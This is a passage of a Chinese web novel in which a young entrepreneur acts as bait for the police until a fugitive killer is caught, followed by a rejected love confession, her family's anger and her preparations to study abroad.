卢向杰也是这么认为,天黑以后就在火锅店四周布下埋伏,严阵以待。 她忍不住攥紧了拳头,这样的天罗地网,只要他敢出现,必然有来无回! 在窗前观察外面情况的小戴警官听她打完电话,转过身,正好看见苏丽珍在发呆,忙走过来关切道:“苏同志,有什么问题吗?” 她对这位聪明能干,年纪轻轻就创下“珍珍食品”这么大一家企业的苏同志非常有好感。 不提对方大手笔设立的缉凶奖金,还有那批千里迢迢从首都购置回来、把局里大领导都惊动了的寻呼机,就说她一个才二十四岁的年轻姑娘,敢主动提出跟他们警方配合,以自己为饵,诱捕在逃凶犯的勇气就叫人佩服。 苏丽珍朝她摇了摇头,笑道:“没事,我只是在想那个人今天会不会来。” 小戴警官以为她紧张,便宽慰道:“苏同志放心,就算他今晚真的会来,我们也一定会保护好你的安全!” 苏丽珍并不是在担心这个,她其实比谁都盼着那人早点来,不过她也没解释,只是笑着点头:“有小戴警官你们在,我没什么不放心的,只是辛苦你们了。” 卢向杰对她的安全问题非常上心,现在这栋小楼内,除了同为女性的小戴警官贴身陪着她,另外还安排了三名警察在楼内各区域看守。 警察已经对小楼仔细排查了一遍,小楼整体安全系数较高,楼里所有的窗户都安装了铁栏杆,人很难在不发出任何响动的情况下从窗户潜进来。 只是二楼的阳台门是单舌铜芯锁加一道插销,看似是两重保险,但有“经验”的人拿着一把匕首或者螺丝刀,不费力就能撬开。 苏丽珍默默在心里记下,回头等事情结束就立马安排人换锁。 鉴于此,等天黑后,两名警察会留在二楼伪装成苏丽珍在卧室休息的样子。 另一名警察藏在一楼正对大门的柜台内。 苏丽珍则在小戴警官的陪伴下,这两天在一楼小包间里支两张单人床对付着。 之前卢向杰也曾提议,叫她只是参加白天一些需要露脸的活动,等晚上就另找其他住所,到时他再安排与她身形相似的小戴警官代替她住进店里。 苏丽珍拒绝了,她觉得以郭赖子的狡猾,就算被她激怒,来找她寻仇,也会事前仔细确认一番。 那她反过来也可以利用这一点,把对方的注意力都集中在这边,逼对方尽快现身。 晚上简单吃过晚饭,苏丽珍照例一个人出现在阳台上,假装无所事事地欣赏夜色下的街景。 阳台上装了两盏灯,亮度很高,灯光将整座阳台都包裹进一方明亮的小天地里,尤其是在整个一楼一片漆黑的对比下,连带阳台上站着的她也格外显眼。 苏丽珍在阳台上活动了大半个小时,确定能从许多角度被人看清楚,这才回屋。 晚上八点,她躺在一楼小包间支起的单人床上,不知道是不是这几天没睡好,小戴警官一劝她早点休息,她竟真的迷迷糊糊睡着了。 “苏同志,苏同志?” 也不知道过了多久,小戴警官刻意压低的声音在她耳边响起,她一个激灵,以为“鱼”上钩了,赶忙坐起身来。 小戴警官赶忙安抚她:“别紧张,不是目标!是有人在叫门,应该是你认识的人。” 一听不是郭赖子,苏丽珍有些失望,旋即侧耳一听,发现大门的方向确实像有人在叫门,只是隔得远,具体听不出是谁。 担心真有什么事,她一边穿鞋下地,一边忍不住问道:“我能出去看看吗?” 小戴警官点头:“我没接到什么指使,应该问题不大,我陪你去看看。” 两人快步走出包间。 火锅店临街,门前就是一排路灯,一楼大厅的窗帘当初是以装饰为主,用料虽好看,却有些薄,夜里外头街灯的灯光也能透进来,因此屋子不算太暗。 苏丽珍一眼就看到之前守在柜台里的那名警察,此时已经站在离大门最近的窗户前,撩起窗帘一角,观察外头来人。听见她们过来,对方便抬手朝小戴警官打了个手势 小戴警官便对苏丽珍道:“没问题,已排除可疑情况”。 苏丽珍点头。 等走得近了,那叫门声也越发清晰。 “苏总、苏总,你在吗?卫华叔,翠英婶子?” 苏丽珍不由脚步微顿,没想到居然是顾英杰,他怎么会这个时候来? 她对小戴警官低低道:“是我认识的人。” 小戴警官点头,示意她过去开门。 饭店的大门是内外两层的铁门,打开内层,人站在门口,不用再打开外层铁门就能看见来人。 苏丽珍才打开内层门,就看到门外站着的果然是顾英杰和大河两人。 “顾大哥、大河哥,怎么是你们?你们不是去滨城学习了吗?” 顾英杰这几年在“筑梦”公司发展的越来越好,丁大勇有心培养他做自己的副手,于是去年年底,跟苏丽珍商量过后,干脆把15%的原始股转让给对方,顾英杰因此直接升为公司合伙人。 今年过完年,滨城建筑学院面向社会人士开设了一个短期专业课程班,为期半个月,丁大勇就让两人报名参加了。 顾英杰看到来开门的是苏丽珍后,眼中闪过淡淡喜色,正准备开口解释,身后的大河就嘴快道:“我的苏老板呐,我们2月9号走的,今天都25号了,整整16天,可不该回来了!” 苏丽珍有些恍惚,居然已经这么长时间了,她有些歉意道:“不好意思,这段时间事情多,我有点记混了。” 她看见两人手里的行李,问道:“那你们这是刚下车?” 顾英杰点头:“对,八点二十的车,我们回来时刚好从你家门前过,看到你家亮着灯,就过来打个招呼……苏总,你是有什么事特地回来的吗?我记得前两天我跟丁总联系,他还跟我说婶子伤了手,你们全家就关了店,去首都旅游,要月底才能回来。” 而且马上三月一了,她又还在上学,听说读那个研究生,寒暑假时间都比大学生短,按说苏家人提早回来是正常,怎么她也回来了,会不会是遇到什么麻烦了? 苏丽珍便解释自家人还要过两天回来,至于自己提前回来是为了办理出国留学的手续。 一听说苏丽珍要出国,顾英杰怔了怔,一时心绪有些难明。 旁边的大河好话已经不要钱似的往外撒:“咱苏老板就是厉害,这都能去米国读书了!等学了他们那些洋知识回来,反手再挣他们的洋钞票,让他们拍马赶不上,想想就痛快。苏老板,牛!” 顾英杰醒过神来,也笑着说了声“恭喜”。 苏丽珍邀请两人进屋坐坐,被顾英杰客气地拒绝了。 三人隔着门又说了几句话后,两人才告辞离开。 回家的路上,顾英杰有些沉默。 大河在旁边看着,不由叹了口气,劝道:“大哥,不是我当兄弟的不向着你,你跟苏老板是不可能的。” “你俩不可能不是因为差距,人苏老板不是那种俗人。我说你俩不可能,是因为在人家苏老板那里,就始终把你当成一个普通朋友,她对你一点那方面的意思都没有。” “虽说‘烈女怕缠郎’,但苏老板这样的,她要没一点那个心思,就是天上金童下来‘缠’,也是白扯。” “大哥,你想开一点吧。想不开,最后难受的还是你自己……咱眼下的日子过得多好啊,有滋有味的,兄弟真不想看你还整天不开心。” 顾英杰沉默地听着,也不知过了多t久,忽然笑了笑,一把伸手搂过大河的肩膀。 “你小子,自己连个对象都没有,倒是会劝别人!” 大河看他言笑晏晏的样子,心里悄悄松了口气,立马跟着贫起来。 “大哥,我就是咱几人里的军师!军师不用亲自上战场,只要安坐大后方,就能运筹帷幄之中,决胜千里之外……” 夜风将两人的笑声传的很远,稀稀拉拉看不到几个行人的街道似乎都热闹了两分。 时间一分、一秒过去,夜色渐深,东北早春的深夜依然寒凉刺骨。 一道鬼鬼祟祟的身影悄悄自街尽头的转角处探出头,四下张望了一圈,确定没什么人后,开始快速向坐落在街边的二层小洋楼靠近。 顾英杰和大河离开后,苏丽珍和小戴警官又回到小包间。 看了看表,已经快九点了,小戴警官让苏丽珍继续休息,这次苏丽珍却有点睡不着了。 她知道小戴警官一直在留意外面的情况,怕自己发出声音影响对方,所以干脆闭上眼睛默默构思开学要准备的一篇论文。 脑子里想着事,时间就过得飞快,大约十一点钟,就在她终于又开始有些困意的时候,旁边的小戴警官忽然自床上一翻而下,整个人飞快凑到门边站定,然后小心地向外张望。 苏丽珍吓了一跳,随即反应过来,内心一阵“砰砰”狂跳,下意识也下床跟了过去。 她朝小戴警官比了个手势,想问是不是有情况。 小戴警官还来不及回答,外头忽然一阵嘈杂。 两人对视一眼,发现彼此的眼睛都亮的惊人。 只是出于对她的安全考虑,小戴警官没让她动,自己也一直守在包间门口,静等结果。 这个时候最考验人的耐心,好像每一分、每一秒都那么漫长,苏丽珍甚至一度觉得时间已经过去了很久很久,可事实上也才五分钟不到。 隐蔽在柜台后的警察很快过来,然而却是带来了一个令人失望的结果。 “不是目标,只是一个赌鬼,晚上输红了眼,想起白天看到的新闻,路过这里的时候就起了心思,想混进来偷点钱。” 一听居然只是一个毛贼,苏丽珍格外失望。 可随即又意识到了一个十分严重的问题。 果然,小戴警官紧接着就蹙眉道:“这么一闹腾,咱们的布置会不会暴露?” 郭赖子非常狡猾,又对凤城的大街小巷了如指掌,如果这会儿他正躲在什么他们察觉不到的地方盯着这里,结果让这个笨贼一闹,那就不只是今晚行动无效,恐怕苏同志废了这么大力气设的局也废了。 另一个警察显然也明白这个道理,只得道:“刚才把人按住的动静不大,而且卢队一发现不对劲立马就叫大家原地待命了。” “……谁知道竟然有这么巧的事,现在只能赌一把目标还没出现,没能发现刚才的情况。不过卢队也让我告诉你们,还是要做好思想准备。” 什么思想准备,自然是计划失败的准备。 苏丽珍闻言下意识捏紧了手指,内心满是不甘。 她不相信,郭赖子这种恶贯满盈的人会每次都运气这么好! 就算这次不行,那就下一次,她一定要亲眼看见这个人受到应有的惩罚。 屋外,短暂沸腾了一次的小洋楼再次归于沉寂。 无人察觉,此时,斜对过六、七十米处一栋二层的邮局办公楼屋顶上,有个人正看着重新回归平静的小洋楼,露出一抹儿冷笑。 夜色下,在这路灯照不到的地方,他一身脏兮兮的单薄褂子几乎与身下的屋顶融为一体。 第242章 顾英杰快速奔跑着,内心的担忧、焦急让他像是感受不到疲惫一样,只想快一点、再快一点,好在最短的时间内赶到那个人身边。 今晚,当得知她马上要出国的消息后,他心里就一阵阵失落。 他早已经认清了他们之间不可能的事实,只是想多努力一些,让自己能站在离她更近一点的位置,不要总是与她有那么大的差距。 只是他发现,她似乎永远都在进步,无论自己怎么拼命追赶,总是赶不上。 所以他才会失落。 也正是因为他这点该死的小心思,才让他耽误了大事。 因为时间太晚,大河今天直接在他家留宿,两人一到家,门缝里就塞了不少报纸。 他其实不喜欢看报。 是三年前有一次,他在丁经理办公司无意间看见对方在抄报,一问才知道对方这是跟她学来的。 丁经理说,她一直有看报、抄报的习惯,说是通过报纸能了解很多外面的世界。 他心里记住了这话,回到家也开始订报、看报。 这段时间出差,报纸攒了一堆没看,要是平常就算再晚,入睡前他总要坚持拿上一份翻一翻。 只是今天,巨大的失落感让他心生懈怠,下意识不想再碰这些。 他不知道今晚自己在屋子里瞎忙了什么,直到闲着无聊的大河拿了好几份报纸跟他说,她这两天又在凤城扬名了,他才留意到她这次上报纸跟以往每一次都不同,她居然是在帮警方抓逃犯。 他觉得有些奇怪。 以他对她的了解,就算真的有心想帮助警方,也不会如此高调的宣扬。 直到他想起来那名被通缉的逃犯是郭赖子后,他才很快把这一切串连起来。 他早年带着几个兄弟在刘五爷手下做事,自然也认识刘五爷的老对手郭赖子,知道对方不是个好惹的人。 后来更是没人比他清楚,当年郭赖子如何因为朱广才倒台入狱。而朱广才恰恰是被她设计,由他带着大河他们亲自动手,才会事发。 她作为间接送郭赖子入狱的人,本身很可能已经被后者记恨了,如今又恨不得把自己帮警方抓人的举动昭告天下,再想到她这次是独自一人回来…… 一个可怕的想法在顾英杰脑中浮现,他觉得她就是故意的,故意拿自己当诱饵,想要把郭赖子这个畜生引出来! 想通这一切后,他立马按照前两天丁大勇给他留的一个旅馆联系方式,给对方打了个电话。 等对面丁大勇听说了苏丽珍独自回凤城,又做了这么多事后,整个人急的不行,说现在就开车回来,还拜托他去找她,劝她别再做这么危险的事。 他挂了电话后,想也不想就跑出来找她。 可恨之前一直在家磨磨蹭蹭,现在看表,居然已经十一点了。 时间这么晚,她又独自在家,他怎么可能不着急! 幸好,自从条件好了以后,他在她家所在的区域买了房子,两家眼下只隔了不到十几分钟的路程。 他这么想着,就又拼命催动双腿,想让自己速度更快一些。 “大哥……等一下!” 大河在后面拼命追赶顾英杰,见追不上,只得喊了一句,“你听、听我说句话,你不能这么、找过去,会误事的!” 顾英杰果然停下了脚步,大河一喜,忙冲上来,喘着粗气道:“大哥,你、你想想,以苏小老板的性格,她要这么做,肯、肯定有万全的准备。” 他越说越顺,“万一咱们这么没头没脑冲过去,再破坏了人家的计划咋办?哪管咱找个地方先给她打个电话,探探口风呢!” 顾英杰紧皱着眉头,一听这话,果然有些动摇,可很快又摇头:“不行,光是打电话不够,不亲眼确认她的安全,我不放心。” “郭赖子什么人,你也清楚,他手段很多,过去刘五爷都没少在他手里吃亏。她做这些事,郭赖子不会放过她,我晚去一秒,她就多一分危险。所以我必须现在过去,最起码我得先看到她平安无事才能谈其他的。” 说完,也不管大河,又继续向着苏家的方向跑去。 大河满心满嘴的苦涩,嘟囔了一句:“那你好歹骑个自行车啊……”然后认命地跟了上去。 同一时间,一辆自北郊进入凤城市的“红旗”牌轿车,正快速往市区中心的街区行驶。 这会儿已经是夜里十一点,大街上几乎看不到什么人,车子一路都畅通无阻。 沈瑞坐在汽车后座,目光落在那不停被车子甩在身后的一排排街灯,眉心轻皱。 他是昨天夜里回来的,这一趟出国让他错过了春节,加上得知初五前后爷爷病了一场,他彻底没了耐心,索性在米国狠狠跟李明瑞对了一场。 最终他虽小有损失,但李明瑞输的更惨,以至于惊动李家本家。 李家的大家长亲自派人讲和,并答应今后会严格约束李明瑞,这场耗时一年的争斗才算划上了句号。 就在他登上回国的飞机前,已经收t到消息,李明瑞在国内和香江的主要产业已经被重新收回李家,李明瑞本人也被打发去了北非,没个几年回不来。 他到家后,第一件事就是与爷爷的保健医碰面,亲自确认了爷爷的身体状况,之后又陪了老爷子半天。 从爷爷口中,他得知苏家婶婶的手摔伤了,所以关了店,全家一起来首都游玩。 下午,他去了苏家拜访,却遗憾地被告知,她这几天随导师去津市参加学习研讨会,并不在家。 虽然没能见到她,但是他听说了她拿到米国的交换生资格,今年五月份即将出国的好消息。 心中顿时油然而生一种隐秘的愉悦,为她,为她的优秀。 然而这份愉悦却在一个下午的时间里荡然无存。 下午,他本来是送父亲去参加一个活动,却意外碰到了她的导师。 他记性不错,在去年秋天去学校看她的时候,曾偶然见过他导师一面,所以一直记得。 他心里疑惑。刚好,父亲也与她的导师认识,两人说话的时候,他借机搭话,旁敲侧击打听出根本没有什么津市的研讨会。 她说了谎! 他回去后,试探着往凤城她的公司打了电话,结果她公司的人说她这几天并没有来公司。 也就是说,她这几天确实回凤城了,只是她人虽然在那边,却并没有去公司。 那她这趟回去就不是为了公事。 他又打听苏振东,结果被告知对方前天出差了。 他越想越不对,以她对家人的看重,有什么事会让她把一家人留在首都,然后独自一人回去处理,甚至为此不惜说谎? 还有苏振东偏巧也不在。 这时候出差,会不会也是她特地安排的?就跟她把家人都留在首都是一个道理。 他猜,凤城那边可能出了什么事,当即就给那边的老熟人打电话询问。 很快,他就打听到了她这两天在凤城做的事,果然跟她平时行事风格不一样。 他便又托人把她格外关注的那个郭姓通缉犯的资料,传真过来一份。 仔细看过那份资料后,他最终圈定了当初让这个人东窗事发的“朱记”饭店。 之后,又请人帮忙打听“朱记”饭店从开张到倒闭,以及老板朱广才的全部信息。 一番抽丝剥茧,他察觉到了整件事恐怕有她在背后作推手。 这件事,她清楚;恐怕那个锒铛入狱、又将朱广才报复致死的郭文忠也清楚。 如今这个人逃出来,又屡造杀孽,所以她才把一家人都送到首都。 顺着这个思路,也就明白了,她为什么要孤身一人回到凤城,又这么大张旗鼓地声援警方,无疑就是想把对方所有的注意力都吸引到自己身上,拿自己做诱饵。 一想到这个可能,他心中瞬时升起一股无力感。 他一直知道,她不爱他,可现在看来,她分明更加不爱她自己。 然而现在没有时间让他去想这些,他只能压下心中的忧虑,先去想怎么帮她解决眼下的危机。 下午已经耽搁了不少时间,已经没有当天到凤城的飞机了。 没办法,他只好乘坐下午四点,一班从首都飞往凤城临省省会长吉市的飞机,又提前找人在长吉市机场安排好车子,然后开车赶往凤城。 从长吉到凤城开车至少要六个小时,他带了两个保镖轮流开车,一路油门踩到底,总算在十一点前进入凤城市区。 如果她是有意拿自己做诱饵配合警方做局,那她一定会住在自己家里,只是这样一来,火锅店四周也许有警方提前埋伏。 如果他这么贸然过去,说不定会影响到他们的计划。 想到这,他开口对前面开车的司机道:“成哥,速度放慢一点。” 先远远找个能看到她家的位置,好好观察一下再说。 司机应了一声,很快把车速放慢下来。 可不到三分钟,开车的司机忽然轻“咦”了一声:“先生,前面好像不太对劲!” 时间退回三分钟前,顾英杰和大河继续一路朝着苏家奔跑。 中途,大河看到一条胡同,赶忙对前面的顾英杰喊道:“大哥,走这边,能快点!” 顾英杰又调头回来,这样一来,就成了大河在前面。 眼瞅着要跑出胡同口的时候,前方拐角处冷不丁也跑过来一个人,大河不防,跟这个人狠狠撞在一起。 因为他身量敦实,倒是没怎么着,对面那个人却被他撞得一个趔趄,直接后退了两步,差点坐倒在地。 大河以为是自己冲的太猛,赶忙道歉道:“对不住,兄弟,没啥事吧?” 谁料那人站稳后,头也不抬,声也不吱,只朝他们摆了摆手,就垂着头从他们身边绕开,抬腿往胡同里去了。 大河没当回事,正要拉着顾英杰继续走。 可顾英杰却没动,他原地站了两秒钟,忽然猛地一回头,朝刚刚从他们身边走过的男人大喊了一声:“等等!” 那男人却像没听见似的,不但没停,甚至越走越快! “咋了,大哥?” 大河不解,看着那男人的背影,昏黄的街灯下,那人只穿着一件灰扑扑的深色褂子,显得十分单薄…… 等等,深色的薄褂子,报纸上登了最后看到郭赖子的目击者说,他就穿着这样一件衣裳! 再想起刚刚这人被撞了还一声不吭,甚至头也不抬,一副遮遮掩掩的样子,肯定有鬼! 大河一时心跳加速,也跟着猛喊道:“那人,你站住!” 也是凑巧,他刚喊完这一嗓子,就见从那人身上掉下来一个什么东西。 这条胡同不长,且因为横亘在两条大街之间,所以一头、一尾拐弯处都安有街灯,加上今晚月色不错,胡同里这会儿也很亮。 顾英杰和大河因此看得清楚,那落地后就反射出一点冷光的东西分明是一把锋利的匕首! 两人心里一凛。 顾英杰更是直接脱口而出:“是郭赖子!”说完,毫不犹豫地追了过去。 这边郭赖子见匕首落地,俯身一把捡起,然后拔腿开跑。 不过他捡匕首的空档,多少给后面追过来的顾英杰和大河争取了时间。 郭赖子跑的快,顾英杰他们速度也不慢,在后面追的很紧。 郭赖子一咬牙,干脆一个站定,然后猛地回身,直接把手里的匕首朝着两人掷了过去。 “小心!” 落后顾英杰半步的大河只见亮光一闪,那把匕首就直直朝他们俩射了过来,赶忙从侧后方发力,一下把前面的顾英杰扑倒,险险躲过了匕首。 等两人站起来再去追的时候,郭赖子已经跑出了这条胡同。 顾英杰再次不顾一切地追了上去。 也不知道是不是今天一路奔波,加上之前那一通奔跑,严重消耗了两人的体力。 即便他们用尽了全力,但是跟郭赖子的距离却越拉越远,眼见着竟有十米开外了。 好在大河反应快,想起来忙扯着脖子开始大喊:“快来人啊,抓逃犯啊!抓郭赖子!” 另一头,“红旗”轿车上,一听司机说前面不对劲,副驾驶上另一名保镖立马警惕地凑近玻璃看了眼,然后快速跟后座的沈瑞汇报。 “是两个人再追一个人,前面这个人现在正往咱们这个方向来。” 他们是右侧通行,那人大概是被人追赶的缘故,慌不择路,所以逆向朝他们跑了过来。 “不对,”保镖很快又说,“他在前面的路口拐弯了!” 前方刚好有个十字路口,可能是看到他们的车,怕影响自己,那人干脆就近拐弯,直接往左手边方向跑了。 这时,前面又隐隐传来呼喊声,沈瑞蹙眉听了听,迅速抬手摇下车窗,那声音果然清晰了许多。 “……抓逃犯,抓郭赖子!” 郭赖子! 他今天下午才看过对方的资料,自然知道这个绰号的主人是谁。同时,因为距离近了,他一眼认出跑在前面追逐的人是顾英杰,当即毫不犹豫地吩咐司机:“拐过去,去追刚刚那个人。” 司机二话不说,方向盘一打,车子立即转向方才那人拐进去的路口。 车子拐弯后,在沈瑞的角度,刚好能从车窗里看到郭赖子沿着大道左侧拼命奔跑,而前面恰好有一条向左的小胡同,郭赖子似乎正准备要钻进去。 见状,他果断对司机道:“撞过去。” 司机没有犹豫,一脚油门踩下,车子斜斜冲了过去,一声闷响,就把即将要钻进胡同的郭赖子撞翻在地。 “啊!” 车外响起郭赖子的惨叫声,大概是腿断了,这会儿正抱着一条腿在地上打滚哀嚎。 两个保镖下车,没费力就把人按住了。 这时,顾英杰和大河也喘着粗气追了上来t。 顾英杰先确认了在地上抱着腿呻/吟的人正是郭赖子后,不由松了一口气,等再看到帮忙抓住人的是沈瑞,一时又有些心绪复杂。 擦去满头的汗水,又默默平复激烈的心跳,他还是不想让自己在对方面前太狼狈—— 作者有话说:悄悄说一声,宝子们,正文要完结了。 原本打了好多字,但又被我删掉了,还是把最重要的话留下吧。 真的很感谢大家一路陪伴,谢谢你们! 希望每一位小天使都能心想事成,快乐无忧! 第243章 警察来的很快,多亏之前大河那一阵大喊,惊动了附近巡逻的警察,后者快速上报,正在不远处的珍珍火锅店埋伏的专案组人员闻讯立马赶了过来。 眼见着警方的人马上要来控场,一直沉默的顾英杰忽然开口问沈瑞:“你会一直保护好她,不让她再做这么危险的事吗?” “我只能说,我会尽我最大的努力,不让她有面对任何危险的可能。”沈瑞缓缓道,“而且比起被保护,我想她可能更乐于被人尊重自己的选择和决定。” 顾英杰皱眉:“即使她的决定可能是错误的,甚至会给她带来危险?” 沈瑞的声音始终温和而坚定:“她并不是一个鲁莽的人,如果她做了什么选择或者决定,只能说她一定有非那么做不可的理由。” “如果是我的话,与其想着如何阻拦,倒不如看看自己能为她做些什么,尽可能帮她把麻烦或困扰降到最低。” 顾英杰听完再一次陷入沉默,许久他忽然扬唇一笑:“或许你是对的。” 语气中带着丝丝释然。 或许你才是对的,所以也是你更适合她。 苏丽珍有点懵,当卢向杰派人来通知他们,郭赖子已经在两条街外落网后,她一时还有些不敢相信。 本来她都已经做好了哪怕今晚行动失败,也要不惜任何代价把对方引出来的时候,郭赖子居然被抓了! 当然,高兴肯定是高兴的,她又不是疯了,自然不会真的拿自己的安危开玩笑,只是觉得这一切太突然了,有种……高高拿起、却被轻轻放下的落空感。 只是很快,她见到了此时本不该出现在她面前的人——沈瑞、顾英杰和大河,然后又从卢向杰那里了解了郭赖子被抓的前因后果,这种感觉才又变得玄妙。 她想,或许是连老天爷也看不惯郭赖子这种人继续逍遥法外,所以才安排了这种近乎戏剧性的巧合让他落入法网。 当然,不管怎么说,她作为受益者,还是很感谢这三人的。 她向三人郑重道了谢,确定顾英杰和大河在追踪郭赖子时没有受伤,心里松了口气。 这时,沈瑞突然淡淡开口:“抱歉,我想先跟苏小姐单独说一会儿话,可以吗?” 苏丽珍有些诧异。 顾英杰看了眼大河,朝后者使了个眼色,只道:“我们先去那边,你们谈。” 等两人离开后,苏丽珍看着沈瑞有些冷淡的脸,一时竟有些紧张,这还是她第一次看见这个人对她露出这样的表情。 沈瑞没有急着开口,而是直直盯着她看了半晌,直到看得她有些不自在的时候,他才突然道:“我能做些什么?” 苏丽珍怔了怔,险些以为自己听错了,她本以为他会指责她任性、一意孤行之类的…… 怔忪间,却听他用无比认真的语气又一次问道:“我能为你做些什么?” “我知道你一直有很多心事,我无意探究你的秘密,或者说即便我想探究你的秘密,但因为对方是你,我知道你不喜欢这样,所以我也能克制自己的好奇。” “但是我想不明白,到底是因为什么,会让你从来不把你自己放在心上?” “你爱你的家人、你的朋友,你会把所有最好的东西都双手奉到他们面前,但你唯独从不在乎你自己。” “你愿意对所有人的人生负责,却不肯对自己好好负责。” “珍珍,我知道你不会告诉我原因,为了你,我也不去问。但我想向你争取一次,既然你选择这样的人生,那你能不能考虑一下,也找个人陪你一起分担?” “至少,你从不在乎的你自己,就交给我去在乎、去保护,可以吗?” 这一刻,沈瑞的眼中没有方才的冷淡疏离,只有浓得化不开的真诚。 看着这双眼睛,苏丽珍忽然感到眼眶发热。 重生后第一次见到这个人的时候,她表面上装作视若无睹、十分冷漠的样子,其实内心很是惶恐,上辈子不堪的种种总让她惧怕见到这个人。 等发现自己过激的反应意外引起了对方的关注,她开始痛定思痛,努力克制自己的紧张、不安,尽量把对方当作普通人对待。 后来她的生活越来越忙碌,家人、事业、学业、朋友占据了她更多的心神,加上因为苏爷爷而多起来的与他的相处时间,让她渐渐意识到对方也没有那么“可怕”。 他甚至帮过她和她的家人许多次。 她对他,也从最初抱有警惕,到平常以待,再到对他一直默默帮助的由衷感激。 直到有一天,她从他看着她的眼神里读出了别的东西,发现了他喜欢她。 她知道她和他不可能,她上辈子做错了那么多事,怎么配得到一份真挚的感情? 更何况对象还是他。 他那么优秀,又是沈哲的小叔,如果有一天他知道了她的秘密,了解了发生在上辈子的那些事,他还会愿意接受她这样的人吗? 所以她只能一次次拒绝对方,她希望他能找到一个真正出色、而不是像她这样“前科累累”的人。 虽然中途她也曾短暂动摇过,但最终她还是选择坚持自己的决定。 只是她没想到会听到今天这一番话。 他说的每一个字都像是有生命一般,钻进她的心底,聚拢在她那间终年不见光的“心牢”周围,试图努力要撼动它。 这样真挚温柔却又充满了温暖和力量的表白,这世上有哪个姑娘会不感动呢? 可她终究还是移开了自己的目光,下意识看向漆黑遥远的天际。 夜色深沉,来自人类文明的璀璨灯光也驱不走这无边无际的黑暗。 她深吸了一口气,最终只道:“谢谢你,沈大哥,我必须承认,至少刚刚那一刻,我确实生出了强烈的、想要依靠你的心情。但是……” 沈瑞默默听着,当听到这一句“但是”的时候,眼神有一瞬间的黯淡。 “但是我心里清楚,我这样的人配不上你这么用心相待,你真的值得更好的人。” “就这样吧,沈大哥,这辈子能好好认识你,听到你刚刚那番话,我现在的人生其实已经圆满了。” 苏丽珍没有时间缅怀这段让她确实动了心,但又注定要无疾而终的感情,因为一场更猛烈的“暴风雨”来袭,打得她毫无招架能力。 跟沈瑞说完话不到二十分钟,她又一次见到了今晚本不该出现的人——风尘仆仆、两眼通红的苏振东。 “你这孩子到底怎么回事?为什么要做这样的事?你知不知道东叔有多担心你!” 原来苏振东和王树到了连市后不久,就发现了代理商的古怪,他们一开始以为他是起了歪心思,就想先一边耐着性子陪对方周旋、一边暗暗调查,想搞清楚这人到底在弄什么鬼。 结果耽误了快两天时间,他们没查出任何问题,苏振东没了耐心,干脆把代理商按住,一顿吓唬威胁,对方遭不住,这才说了实话。 想不到这人竟是受了苏丽珍所托,故意把他绊在连市的! 苏振东觉得不对劲,他这几年在凤城也认识了不少人,几通电话打回去,果然就打听出了苏丽珍回凤城的事。 他当时又急、又气、又害怕,五点多钟的时候往家里打了好几个电话,却一直没人接。 他再等不下去,干脆在当地雇了车连夜回返。 这一路也不顺利,先是路途遥远,车主坐地起价,苏振东不差钱也就应下了。谁知半道上车子又出了问题,反正一番折腾下来,他们到凤城的时候都快到凌晨了。 苏丽珍看到这t样的苏振东,心里十分愧疚,只能小心翼翼地赔不是。 还不等她安抚好苏振东,师兄丁大勇也开车从安州急赶了回来,两人对着苏丽珍一通严肃批评,把她训得头都不敢抬。 在确定郭赖子已经被抓,这场危机彻底过去后,苏振东和丁大勇连沈瑞都顾不上,就一起把苏丽珍“押”到首都,把实情告诉了苏家其他人。 这一下简直是石破天惊! 苏卫华夫妻对朱广才记得清楚,但对郭赖子却只是影影绰绰有个印象。如今一晃儿六、七年过去,也早不记得这人了。 火锅店里忙,他们也没时间看报纸,况且大家都讨论这事,他们跟着听一耳朵、说两嘴就是了,并没像苏丽珍那样特地去报纸上翻找消息。 所以他们压根不知道这个参与灭门案的凶犯郭文忠,居然就是当年跟朱广才一起入狱的郭赖子。后者还为此深恨自家,逼得自家闺女不惜以自身为饵,只为能帮警方尽快把人抓住, 这个消息太过惊人、也太过吓人,苏卫华当时心脏病就犯了,幸亏家里一直有沈瑞二嫂给配的药丸,好歹当时把这口气缓过来了。 苏丽珍吓坏了,哭得不行,让原本准备骂她一顿的李翠英又舍不得了。 后来是沈老爷子听着信儿亲自上门,又把沈瑞二嫂的老师介绍过来,给苏卫华开方调理了一段时间,人才好了起来。 可苏卫华自从好了以后也不肯跟苏丽珍说话,苏丽珍为此着急上火又不敢为自己辩解,几天时间人就瘦了一圈。 这让苏厚德和孟知祥十分心疼,两个老爷子先把苏振东臭骂了一顿,怪他急脾气,有啥事不知道缓着来,这么冷不丁一下子,谁能受得了。 骂完了人,事情还得解决,两人一商量,又请出了这次帮了大忙的沈老爷子过来。 沈老爷子在苏卫华这里格外有面子,果然老人家劝了一阵儿,搭了个台阶,父女俩这才重归于好。 五月的首都是月季花盛放的季节,街头巷尾景色鲜妍,芳香四溢。 苏丽珍在自己的房间里收拾东西。 春风把一缕花香从敞开的窗子悄悄送了进来,苏丽珍嗅到了,不由露出一抹笑容。 明天就是出国的日子,其实她的东西早就准备的差不多了,只不过可能离别在即,心里诸多不舍,所以总想找点事做,分散一下注意力。 她把随身携带的证件和行李又整理了一遍,确定没有遗漏,正准备把行李箱合上时,目光触及衣物下漏出的红色封皮一角,不由停下手里的动作,将那本红色笔记本拿了出来。 这是一本苏爷爷亲手写下的《料经》。 这几年,苏爷爷心境开阔,于厨艺一道又添了许多灵感,所以这两年在旧版基础上陆续删改、增添了不少内容。 苏丽珍出国之际,跟苏爷爷提出想要这本他亲自撰写的新《料经》,放在身边。 翻开日记本,现在的新《料经》内容跟她记忆里的已经有明显不同,但那一笔只勉强称得上工整的字迹却从没有变过。 她只是看着这上面的一个个字,内心就仍像前世一样充实、平静。 珍惜地把笔记本重新放回原位,关好行李箱,她重新坐到了书桌前,取出纸笔,准备写一封信。 一个多月前,她爸身体康复,准备回凤城的前一天,她妈曾经跟她说过一番话。 “珍珍,我和你爸一直觉得,这些年其实你心里并不快乐。我们不知道究竟是什么心事,让你一直束缚着你自己。你不快乐,甚至都不在乎你自己。” “你爸这次生这么大气,不是因为你瞒着我们,而是因为他气你不把自己当回事。” “闺女,咱们是一家人,你有什么事不能跟我和你爸说呢?我们不是非逼着你跟我们坦白什么,只是作为这世上最爱你的人,我们不忍心你总是这样自苦。” “如果你不幸福,我和你爸也没有幸福可言。” 这番话一直在她心里盘桓许久,直到今天,她终于鼓起勇气,做了一个决定。 她给父母写了一封信,把前世种种都以一个女孩“梦境”的形式讲述给他们。 她在信里说,有一个女孩在十六岁那年,曾做过一个很长的“梦”,在这个“梦”里,女孩做了很多错事,深深伤害了爱她的父母。 